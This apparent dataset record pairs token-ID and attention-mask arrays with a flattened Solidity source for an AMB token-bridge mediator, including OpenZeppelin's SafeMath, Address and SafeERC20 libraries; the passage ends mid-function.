2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/upgradeability/EternalStorage.sol
pragma solidity 0.7.5;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/upgradeable_contracts/Initializable.sol
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized"))
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
// File: contracts/interfaces/IUpgradeabilityOwnerStorage.sol
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
// File: contracts/upgradeable_contracts/Upgradeable.sol
pragma solidity 0.7.5;
contract Upgradeable {
// Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
_;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.7.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/upgradeable_contracts/Sacrifice.sol
pragma solidity 0.7.5;
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
// File: contracts/libraries/AddressHelper.sol
pragma solidity 0.7.5;
/**
* @title AddressHelper
* @dev Helper methods for Address type.
*/
library AddressHelper {
/**
* @dev Try to send native tokens to the address. If it fails, it will force the transfer by creating a selfdestruct contract
* @param _receiver address that will receive the native tokens
* @param _value the amount of native tokens to send
*/
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
// File: contracts/upgradeable_contracts/Claimable.sol
pragma solidity 0.7.5;
/**
* @title Claimable
* @dev Implementation of the claiming utils that can be useful for withdrawing accidentally sent tokens that are not used in bridge operations.
*/
contract Claimable {
using SafeERC20 for IERC20;
/**
* Throws if a given address is equal to address(0)
*/
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
/**
* @dev Withdraws the erc20 tokens or native coins from this contract.
* Caller should additionally check that the claimed token is not a part of bridge operations (i.e. that token != erc20token()).
* @param _token address of the claimed token or address(0) for native coins.
* @param _to address of the tokens/coins receiver.
*/
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
/**
* @dev Internal function for withdrawing all native coins from the contract.
* @param _to address of the coins receiver.
*/
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
/**
* @dev Internal function for withdrawing all tokens of some particular ERC20 contract from this contract.
* @param _token address of the claimed ERC20 token.
* @param _to address of the tokens receiver.
*/
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
// File: contracts/upgradeable_contracts/components/bridged/BridgedTokensRegistry.sol
pragma solidity 0.7.5;
/**
* @title BridgedTokensRegistry
* @dev Functionality for keeping track of registered bridged token pairs.
*/
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
/**
* @dev Retrieves address of the bridged token contract associated with a specific native token contract on the other side.
* @param _nativeToken address of the native token contract on the other side.
* @return address of the deployed bridged token contract.
*/
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
/**
* @dev Retrieves address of the native token contract associated with a specific bridged token contract.
* @param _bridgedToken address of the created bridged token contract on this side.
* @return address of the native token contract on the other side of the bridge.
*/
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
/**
* @dev Internal function for updating a pair of addresses for the bridged token.
* @param _nativeToken address of the native token contract on the other side.
* @param _bridgedToken address of the created bridged token contract on this side.
*/
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
// File: contracts/upgradeable_contracts/components/native/NativeTokensRegistry.sol
pragma solidity 0.7.5;
/**
* @title NativeTokensRegistry
* @dev Functionality for keeping track of registered native tokens.
*/
contract NativeTokensRegistry is EternalStorage {
/**
* @dev Checks if for a given native token, the deployment of its bridged alternative was already acknowledged.
* @param _token address of native token contract.
* @return true, if bridged token was already deployed.
*/
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
/**
* @dev Acknowledges the deployment of bridged token contract on the other side.
* @param _token address of native token contract.
*/
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
// File: contracts/upgradeable_contracts/components/native/MediatorBalanceStorage.sol
pragma solidity 0.7.5;
/**
* @title MediatorBalanceStorage
* @dev Functionality for storing expected mediator balance for native tokens.
*/
contract MediatorBalanceStorage is EternalStorage {
/**
* @dev Tells the expected token balance of the contract.
* @param _token address of token contract.
* @return the current tracked token balance of the contract.
*/
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
/**
* @dev Updates expected token balance of the contract.
* @param _token address of token contract.
* @param _balance the new token balance of the contract.
*/
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
// File: contracts/interfaces/IERC677.sol
pragma solidity 0.7.5;
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
// File: contracts/libraries/Bytes.sol
pragma solidity 0.7.5;
/**
* @title Bytes
* @dev Helper methods to transform bytes to other solidity types.
*/
library Bytes {
/**
* @dev Truncate bytes array if its size is more than 20 bytes.
* NOTE: This function does not perform any checks on the received parameter.
* Make sure that the _bytes argument has a correct length, not less than 20 bytes.
* A case when _bytes has length less than 20 will lead to the undefined behaviour,
* since assembly will read data from memory that is not related to the _bytes argument.
* @param _bytes to be converted to address type
* @return addr address included in the firsts 20 bytes of the bytes array in parameter.
*/
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
// File: contracts/upgradeable_contracts/ReentrancyGuard.sol
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92) // keccak256(abi.encodePacked("lock"))
}
}
function setLock(bool _lock) internal {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock) // keccak256(abi.encodePacked("lock"))
}
}
}
// File: contracts/upgradeable_contracts/Ownable.sol
pragma solidity 0.7.5;
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202; // upgradeabilityOwner()
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_onlyOwner();
_;
}
/**
* @dev Internal function for reducing onlyOwner modifier bytecode overhead.
*/
function _onlyOwner() internal view {
require(msg.sender == owner());
}
/**
* @dev Throws if called through proxy by any account other than contract itself or an upgradeability owner.
*/
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy || // covers usage without calling through storage proxy
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) || // covers usage through regular proxy calls
msg.sender == address(this) // covers calls through upgradeAndCall proxy method
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; // keccak256(abi.encodePacked("owner"))
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[OWNER];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
// File: contracts/interfaces/IAMB.sol
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
// File: contracts/upgradeable_contracts/BasicAMBMediator.sol
pragma solidity 0.7.5;
/**
* @title BasicAMBMediator
* @dev Basic storage and methods needed by mediators to interact with AMB bridge.
*/
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f; // keccak256(abi.encodePacked("bridgeContract"))
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880; // keccak256(abi.encodePacked("mediatorContract"))
/**
* @dev Throws if caller on the other side is not an associated mediator.
*/
modifier onlyMediator {
_onlyMediator();
_;
}
/**
* @dev Internal function for reducing onlyMediator modifier bytecode overhead.
*/
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
/**
* @dev Sets the AMB bridge contract address. Only the owner can call this method.
* @param _bridgeContract the address of the bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
/**
* @dev Sets the mediator contract address from the other network. Only the owner can call this method.
* @param _mediatorContract the address of the mediator contract.
*/
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
/**
* @dev Get the AMB interface for the bridge contract address
* @return AMB interface for the bridge contract address
*/
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
/**
* @dev Tells the mediator contract address from the other network.
* @return the address of the mediator contract.
*/
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
/**
* @dev Stores a valid AMB bridge contract address.
* @param _bridgeContract the address of the bridge contract.
*/
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
